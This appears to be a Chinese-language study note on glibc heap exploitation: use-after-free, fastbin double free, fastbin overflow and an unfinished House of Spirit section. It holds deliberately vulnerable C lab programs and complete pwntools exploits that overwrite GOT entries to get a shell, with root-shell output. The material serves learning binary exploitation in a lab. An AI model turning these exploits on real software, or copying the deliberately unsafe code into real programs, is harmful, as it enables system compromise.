chunk的种类
- fastbin <=128
- smallbin <1024
- largebin
- mmap >=0x20000
关掉ASLR
# echo 0 > /proc/sys/kernel/randomize_va_space
malloc过程 代码
#include <stdio.h>
#include <stdlib.h>
void *Malloc(size_t sz){
void *p = malloc(sz);
printf("%p = malloc(%ld)\n",p,sz);
}
void Free(void *p){
printf("free(%p)\n",p);
}
int main(){
void *p,*q,*r,*s;
p = malloc(150);
q = malloc(150);
r = malloc(150);
s = malloc(150);
free(p);
free(r);
}
查看ld版本
ls -al /lib64/ld-linux-x86-64.so.2
lrwxrwxrwx 1 root root 10 10月 23 16:30 /lib64/ld-linux-x86-64.so.2 -> ld-2.17.so
ld版本要和libc版本一致
编译可debug的版本
gcc -g -z norelro -z execstack -o heap heap.c -Wl,--rpath=/root/sploitfun/gccwget/glibc-2.19/64/lib -Wl,--dynamic-linker=/root/sploitfun/gccwget/glibc-2.19/64/lib/ld-linux-x86-64.so.2
查看
ldd heap
linux-vdso.so.1 => (0x00007ffe0d7c6000)
libc.so.6 => /root/sploitfun/gccwget/glibc-2.19/64/lib/libc.so.6 (0x00007f1c094bb000)
/root/sploitfun/gccwget/glibc-2.19/64/lib/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f1c0985c000)
现在就可以使用有debug symbol的libc
教程中使用的方法是export LD_LIBRARY_PATH=/root/sploitfun/gccwget/glibc-2.19/64/lib
可是在我这里会造成段错误
或者vim a.out
然后修改ld的地方
gdb ./heap
b main
r
查看main_arena结构
gdb-peda$ p main_arena
$1 = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x0,
last_remainder = 0x0,
bins = {0x0 <repeats 254 times>},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7ffff7dd7620 <main_arena>,
next_free = 0x0,
system_mem = 0x0,
max_system_mem = 0x0
结构类似
main_arena{
bin[0] (size=16) -> chunk1 -> chunk5
bin[0] (size=32) -> chunk2 -> chunk3 -> chunk4
bin[0] (size=48)
}
使用ltrace查看某函数的调用
ltrace -e 'malloc+free+' ./heap
heap->malloc(150) = 0x601010
heap->malloc(150) = 0x6010b0
heap->malloc(150) = 0x601150
heap->malloc(150) = 0x6011f0
heap->free(0x601010) = <void>
heap->free(0x601150) = <void>
+++ exited (status 161) +++
UAF use-after-free
指的是free(=p)之后还继续使用它
ltrace -e 'malloc+free+' ./uaf
uaf->malloc(30) = 0x602010
uaf->malloc(30) = 0x602040
uaf->malloc(30) = 0x602070
uaf->malloc(30) = 0x6020a0
uaf->free(0x602010) = <void>
uaf->free(0x602040) = <void>
uaf->free(0x602010) = <void>
uaf->malloc(30) = 0x602010
uaf->malloc(30) = 0x602040
uaf->malloc(30) = 0x602010
uaf->malloc(30) = 0x602040
uaf->malloc(30) = 0x602010
uaf->malloc(30) = 0x602040
漏洞代码
#include <cstdio>
#include <cstdlib>
#include <cstring>
class A {
public:
virtual void print() {
puts("class A");
}
};
class B: public A {
public:
void print() {
puts("Class B");
}
};
void sh() {
system("sh");
}
char buf[0x20];
int main() {
setvbuf(stdout, 0, _IONBF, 0);
A *p = new B();//malloc
delete p;//free
fgets(buf, sizeof(buf), stdin);
char *q = strdup(buf);//malloc
p->print();
}
编译
g++ uaf.cpp -o uaf -g
最终的exp
#!/usr/bin/env python
from pwn import *
p = process('./uaf')
elf = ELF('./uaf')
buf = elf.symbols['buf']
sh = elf.symbols['_Z2shv']
# gdb.attach(p)
payload = (p64(buf + 8) + p64(sh)).ljust(0x20)
p.send(payload)
p.interactive()
最终的结果
python uafexp.py
[+] Starting local process './uaf': pid 1417
[*] '/root/sploitfun/w10/uaf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)
Fastbin
chunk size<= get_max_fast()的chunk,会被放在fastbin的bin里
- 64位是128bytes,32位是64bytes
- global_max_fast 一开始是0
随着size的大小,从32开始,最大到128
Fastbin是single linked list,只使用fd,以Null结尾,有free,但没有unlink
#include <stdio.h>
#include <stdlib.h>
void *Malloc(size_t sz){
void *p = malloc(sz);
printf("%p = malloc(%ld)\n",p,sz);
}
void Free(void *p){
printf("free(%p)\n",p);
}
int main(){
void *p,*q,*r,*s;
p = malloc(30);
q = malloc(30);
r = malloc(30);
s = malloc(30);
free(p);
free(q);
free(p);
malloc(30);
malloc(30);
malloc(30);
malloc(30);
malloc(30);
malloc(30);
malloc(30);
}
验证
ltrace ./uaf
__libc_start_main(0x400619, 1, 0x7ffcd751f8f8, 0x4006c0 <unfinished ...>
malloc(30) = 0x12c0010
malloc(30) = 0x12c0040
malloc(30) = 0x12c0070
malloc(30) = 0x12c00a0
free(0x12c0010) = <void>
free(0x12c0040) = <void>
free(0x12c0010) = <void>
malloc(30) = 0x12c0010
malloc(30) = 0x12c0040
malloc(30) = 0x12c0010
malloc(30) = 0x12c0040
malloc(30) = 0x12c0010
malloc(30) = 0x12c0040
fastbin double free
通过double free,弄成一个循环,然后修改第一个fd,使之malloc到我们想要修改的地方,然后修改之
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void sh(char *cmd) {
system(cmd);
}
int main() {
setvbuf(stdout, 0, _IONBF, 0);
int cmd, idx, sz;
char* ptr[10];
memset(ptr, 0, sizeof(ptr));
puts("1. malloc + gets\n2. free\n3. puts");
while(1) {
printf(">");
scanf("%d %d", &cmd, &idx);
idx %= 10; //等价与idx = idx % 10
if(cmd==1) {
scanf("%d%*c", &sz);
ptr[idx] = malloc(sz);
// fgets(ptr[idx], sz, stdin);
gets(ptr[idx]);
} else if (cmd==2) {
free(ptr[idx]);
} else if (cmd==3) {
puts(ptr[idx]);
} else {
exit(0);
}
}
return 0;
}
编译
gcc -g -z norelro -z execstack -o fastbin fastbin.c -Wl,--rpath=/root/sploitfun/gccwget/glibc-2.19/64/lib -Wl,--dynamic-linker=/root/sploitfun/gccwget/glibc-2.19/64/lib/ld-linux-x86-64.so.2
运行一下
./fastbin
1,malloc+ gets
2.free
3.puts
> 1 3
100
morty
> 3 3
morty
模仿连续double free
./fastbin
1,malloc+ gets
2.free
3.puts
> 1 3
100
morty
> 2 3
> 2 3
*** Error in `./fastbin': double free or corruption (fasttop): 0x0000000001a18010 ***
已放弃
或者input放在文件中
cat input.txt
1 0 s
1 1 q
2 1
2 1
管道输出
at input.txt | ./fastbin
1,malloc+ gets
2.free
3.puts
> > > > *** Error in `./fastbin': double free or corruption (fasttop): 0x0000000000601030 ***
已放弃
python方式写入
from pwn import *
r = remote('127.0.0.1',4000)
def cmd(x):
r.recvuntil('>')
r.send(x+'\n')
def malloc(i,s):
cmd('1 %d %d\n%s' % (i,len(s),s))
def free(i):
cmd('2 %d' % i)
raw_input('#')
malloc(0,'p')
malloc(1,'q')
free(0)
free(1)
free(0)
r.interactive()
free三次之后查看fastbin
gdb-peda$ p/x main_arena.fastbinsY
$10 = {0x601000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
发现fastbin已经串起来了
gdb-peda$ x/4gx 0x601000
0x601000: 0x0000000000000000 0x0000000000000021
0x601010: 0x0000000000601020 0x0000000000000000
gdb-peda$ x/4gx 0x0000000000601020
0x601020: 0x0000000000000000 0x0000000000000021
0x601030: 0x0000000000601000 0x0000000000000000
gdb-peda$ x/4gx 0x0000000000601000
0x601000: 0x0000000000000000 0x0000000000000021
0x601010: 0x0000000000601020 0x0000000000000000
再次malloc一次,并填写数据,发现fd已经被改写
gdb-peda$ p/x main_arena.fastbinsY
$14 = {0x601020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ x/4gx 0x601020
0x601020: 0x0000000000000000 0x0000000000000021
0x601030: 0x0000000000601000 0x0000000000000000
gdb-peda$ x/4gx 0x0000000000601000
0x601000: 0x0000000000000000 0x0000000000000021
0x601010: 0x0000000061616161 0x0000000000000000
注意:
我们如果想要覆盖fd到然后再malloc过去,修改数据,需要malloc过的那个chunk的size要正确,我们可以指在没有调用过的GOT上,因为64为GOT为0x40*,那个0x40我们可以当作size来用,这也是唯一的检查
**exp: 首先vim a.out
修改ld的位置,改到一个具有debug功能的libc
三次malloc之后,再次malloc,就获得了我们伪造的fastbin
gdb-peda$ x/4gx 0x60102a
0x60102a: 0x069600007ffff7aa 0xe9a0000000000040
0x60103a: 0xb65300007ffff7ab 0x53f400007ffff7a5
plt初代码如下,我们伪造的chunk在0x601030附近,通过malloc到0x601030附近的那个chunk,然后修改chunk,将malloc@GOT的值修改为system的地址
0x4006a0 <system@plt>: jmp QWORD PTR [rip+0x20098a] # 0x601030
0x4006a6 <system@plt+6>: push 0x3
0x4006ab <system@plt+11>: jmp 0x400660
0x4006b0 <memset@plt>: jmp QWORD PTR [rip+0x200982] # 0x601038
0x4006b6 <memset@plt+6>: push 0x4
0x4006bb <memset@plt+11>: jmp 0x400660
0x4006c0 <__libc_start_main@plt>: jmp QWORD PTR [rip+0x20097a] # 0x601040
0x4006c6 <__libc_start_main@plt+6>: push 0x5
0x4006cb <__libc_start_main@plt+11>: jmp 0x400660
0x4006d0 <__gmon_start__@plt>: jmp QWORD PTR [rip+0x200972] # 0x601048
0x4006d6 <__gmon_start__@plt+6>: push 0x6
0x4006db <__gmon_start__@plt+11>: jmp 0x400660
0x4006e0 <gets@plt>: jmp QWORD PTR [rip+0x20096a] # 0x601050
0x4006e6 <gets@plt+6>: push 0x7
0x4006eb <gets@plt+11>: jmp 0x400660
0x4006f0 <malloc@plt>: jmp QWORD PTR [rip+0x200962] # 0x601058
最终的exp
#!/usr/bin/env python
from pwn import *
p = process('./fastbin-double-free')
elf = ELF('./fastbin-double-free')
context.terminal = ['tmux', 'splitw', '-h'] #程序在在tmux中运行,
def cmd(x):
p.recvuntil('>')
p.sendline(x)
def malloc(i, size, s):
cmd('1 {} {}\n{}'.format(str(i), str(size), s))
def free(i):
cmd('2 {}'.format(str(i)))
sh = elf.symbols['sh'] # sh函数的地址 0x400816
system_got = elf.got['system'] # system got位置 0x601030
#plt位置 x/12gx 0x400680
malloc(0, 56, '\x00')
malloc(1, 56, '\x00')
free(0)
free(1)
free(0)
malloc(2, 56, p64(system_got - 6)) #伪造一个fastbin,让malloc三次获得
malloc(3, 56, '\x00')
malloc(4, 56, '\x00')
#gdb.attach(p)
#raw_input('#')
malloc(5, 56, 'sh' + '\x00' * 28 + p64(sh)) #再次malloc获得伪造的fastbin 其中p64(sh)覆盖到malloc的地址
malloc(6, system_got + 10, '\x00') # system_got + 10的位置是"sh"字符串的地址,原本是malloc(size),现在是system("sh")
p.interactive()
最终的结果
python exp.py
[+] Starting local process './fastbin-double-free': pid 14619
[*] '/home/winesap/2016/w11/fastbin-double-free/fastbin-double-free'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
0x400816
0x601030
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)
fastbin overflow
overflow到下一个fastbin的fd,然后再malloc到我们想要的地方,然后通过malloc中的数据修改我们想修改的内容,大致如下
chunk4(overflow)
///
///
fastbin[0] ---> chunk1 +---> chunk2 +---> chunk3
fd ---+ /// size | fd ---> NULL
/// fd ---+
/// .
/// .
.......> arbitrary address
首先vim a.out
修改ld的位置,改到一个具有debug功能的libc
查看接到第几个fastbin:(size/16)-2
malloc(56)的原因是让size为0x40
free()之后放在fastbin[2]中(56+8)/16-2
gdb-peda$ p main_arena.fastbinsY
$7 = {0x0, 0x0, 0x601000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
漏洞代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void sh(char *cmd) {
system(cmd);
}
int main() {
setvbuf(stdout, 0, _IONBF, 0);
int cmd, idx, sz;
char* ptr[10];
memset(ptr, 0, sizeof(ptr));
puts("1. malloc + gets\n2. free\n3. puts");
while (1) {
printf(">");
scanf("%d %d", &cmd, &idx);
idx %= 10;
if (cmd==1) {
scanf("%d%*c", &sz);
ptr[idx] = malloc(sz);
// fgets(ptr[idx], sz, stdin);
gets(ptr[idx]);
} else if (cmd==2) {
free(ptr[idx]);
ptr[idx] = 0;
} else if (cmd==3) {
puts(ptr[idx]);
} else {
exit(0);
}
}
return 0;
}
编译
gcc fastbin-overflow.c -o fastbin-overflow -g
overflow之后,fastbin的情况如下
gdb-peda$ p main_arena.fastbinsY
$1 = {0x0, 0x0, 0x602040, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ x/4gx 0x602040
0x602040: 0x0000000000000000 0x0000000000000041
0x602050: 0x000000000060102a 0x0000000000000000
gdb-peda$ x/4gx 0x000000000060102a
0x60102a: 0x069600007ffff7aa 0xe9a0000000000040
0x60103a: 0xb65300007ffff7ab 0x53f400007ffff7a5
plt情况如下
0x4006a0 <system@plt>: jmp QWORD PTR [rip+0x20098a] # 0x601030
0x4006a6 <system@plt+6>: push 0x3
0x4006ab <system@plt+11>: jmp 0x400660
0x4006b0 <memset@plt>: jmp QWORD PTR [rip+0x200982] # 0x601038
0x4006b6 <memset@plt+6>: push 0x4
0x4006bb <memset@plt+11>: jmp 0x400660
0x4006c0 <__libc_start_main@plt>: jmp QWORD PTR [rip+0x20097a] # 0x601040
0x4006c6 <__libc_start_main@plt+6>: push 0x5
0x4006cb <__libc_start_main@plt+11>: jmp 0x400660
0x4006d0 <__gmon_start__@plt>: jmp QWORD PTR [rip+0x200972] # 0x601048
0x4006d6 <__gmon_start__@plt+6>: push 0x6
0x4006db <__gmon_start__@plt+11>: jmp 0x400660
0x4006e0 <gets@plt>: jmp QWORD PTR [rip+0x20096a] # 0x601050
0x4006e6 <gets@plt+6>: push 0x7
0x4006eb <gets@plt+11>: jmp 0x400660
0x4006f0 <malloc@plt>: jmp QWORD PTR [rip+0x200962] # 0x601058
最终的exp
#!/usr/bin/env python
from pwn import *
p = process('./fastbin-overflow')
elf = ELF('./fastbin-overflow')
context.terminal = ['tmux', 'splitw', '-h'] # 程序在在tmux中运行,
def cmd(x):
p.recvuntil('>')
p.sendline(x)
def malloc(i, size, s):
cmd('1 {} {}\n{}'.format(str(i), str(size), s))
def free(i):
cmd('2 {}'.format(str(i)))
def puts(i):
cmd('3 {}'.format(str(i)))
system_got = elf.got['system']
sh = elf.symbols['sh']
malloc(0, 56, '\x00')
malloc(1, 56, '\x00')
free(1)
free(0)
malloc(2, 56, '\x00' * 56 + p64(0x41) + p64(system_got - 6)) # overflow出现在这里
gdb.attach(p)
raw_input('#')
malloc(3, 56, '\x00') #这个malloc调用出了p64(0x41) + p64(system_got - 6),这个chunk
payload = 'sh' + 28 * '\x00' + p64(sh)
malloc(4, 56, payload) #这个malloc出了伪造的chunk
malloc(4, system_got + 10, '\x00') #malloc函数地址被改成了system,malloc(size)变成了 system("sh")
p.interactive()
运行结果
python mortyexp.py
[+] .tarting local process './fastbin-overflow-morty': pid 21224
[*] '/home/winesap/2016/w11/fastbin-overflow/fastbin-overflow-morty'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
#
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)
Free Arbitrary Address (House of Spirit)
我们可以free一个任意的chunk,那么我们就free那个构造好的chunk,这样再malloc的时候,就得到我们可控的malloc,大致如下
free(p);
fastbin[0] ---> chunk1 +---> chunk2
fd----+ fd ---> NULL
.
.
......> arbitrary address (=p)
fastbin的free检查:1.对其 2.chunk size和next size 要合理(不能太小或太大),next chunk的size还要是inuse
漏洞代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char buf[128];
char *ptr[8]; //指针(本身长度为8),有8个
char *cmd; //指针,指向输入的字符
int size;
int n = 0;
void sh(char *c) {
system(c);
}
int main() {
setvbuf(stdout, 0, _IONBF, 0);
memset(ptr, 0, sizeof(ptr)); //将ptr置零
cmd = buf;
while (1) {
fgets(cmd, sizeof(buf), stdin);//将输入放入buf中
if (!strncmp(cmd, "push", 4)) {
if (n<8) {
scanf("%d%*c", &size); //就是读取一个整数后,丢弃紧跟在整数后边的一个字符。
ptr[n] = malloc(size);
fgets(ptr[n], size, stdin); //键盘中输入写入到ptr[n]中
n++;
} else {
puts("stack is full");
}
} else if (! strncmp(cmd, "pop", 3)) {
if (n>=0) {
n--; //漏洞在这里,如果n=10 ,那么n-- 就会使n = -1
puts(ptr[n]); //打印这个要free的值,若n=-1使ptr[-1]指向了buf[128]中
free(ptr[n]); //然后我们就free了一个可控的地址,符合 house of sprited
ptr[n] = 0; //将指针置零
} else {
puts("stack is empty");
}
} else {
puts("unknown command");
}
}
}
编译
gcc fastbin3.c -o fastbin3morty -g
同样是vim ./fastbin3morty
改掉ld的位置,注意长度不能变
system地址
0000000000400690 <system@plt>:
400690: ff 25 9a 09 20 00 jmpq *0x20099a(%rip) # 601030 <system@GLIBC_2.2.5>
400696: 68 03 00 00 00 pushq $0x3
40069b: e9 b0 ff ff ff jmpq 400650 <.plt>
plt地址
gdb-peda$ x/32i 0x400650
0x400650: push QWORD PTR [rip+0x2009b2] # 0x601008
0x400656: jmp QWORD PTR [rip+0x2009b4] # 0x601010
0x40065c: nop DWORD PTR [rax+0x0]
0x400660 <free@plt>: jmp QWORD PTR [rip+0x2009b2] # 0x601018
0x400666 <free@plt+6>: push 0x0
0x40066b <free@plt+11>: jmp 0x400650
0x400670 <strncmp@plt>: jmp QWORD PTR [rip+0x2009aa] # 0x601020
0x400676 <strncmp@plt+6>: push 0x1
0x40067b <strncmp@plt+11>: jmp 0x400650
0x400680 <puts@plt>: jmp QWORD PTR [rip+0x2009a2] # 0x601028
0x400686 <puts@plt+6>: push 0x2
0x40068b <puts@plt+11>: jmp 0x400650
0x400690 <system@plt>: jmp QWORD PTR [rip+0x20099a] # 0x601030
0x400696 <system@plt+6>: push 0x3
0x40069b <system@plt+11>: jmp 0x400650
0x4006a0 <memset@plt>: jmp QWORD PTR [rip+0x200992] # 0x601038
0x4006a6 <memset@plt+6>: push 0x4
0x4006ab <memset@plt+11>: jmp 0x400650
0x4006b0 <__libc_start_main@plt>: jmp QWORD PTR [rip+0x20098a] # 0x601040
0x4006b6 <__libc_start_main@plt+6>: push 0x5
0x4006bb <__libc_start_main@plt+11>: jmp 0x400650
0x4006c0 <fgets@plt>: jmp QWORD PTR [rip+0x200982] # 0x601048
0x4006c6 <fgets@plt+6>: push 0x6
0x4006cb <fgets@plt+11>: jmp 0x400650
0x4006d0 <malloc@plt>: jmp QWORD PTR [rip+0x20097a] # 0x601050
0x4006d6 <malloc@plt+6>: push 0x7
0x4006db <malloc@plt+11>: jmp 0x400650
发现编译之后变量的位置不对,暂时跳过….
gdb-peda$ p &buf
$2 = (char (*)[128]) 0x601100 <buf>
gdb-peda$ p &ptr
$3 = (char *(*)[8]) 0x6010c0 <ptr>
gdb-peda$ p &cmd
$4 = (char **) 0x6010a8 <cmd>
gdb-peda$ p &size
$5 = (int *) 0x6010a0 <size>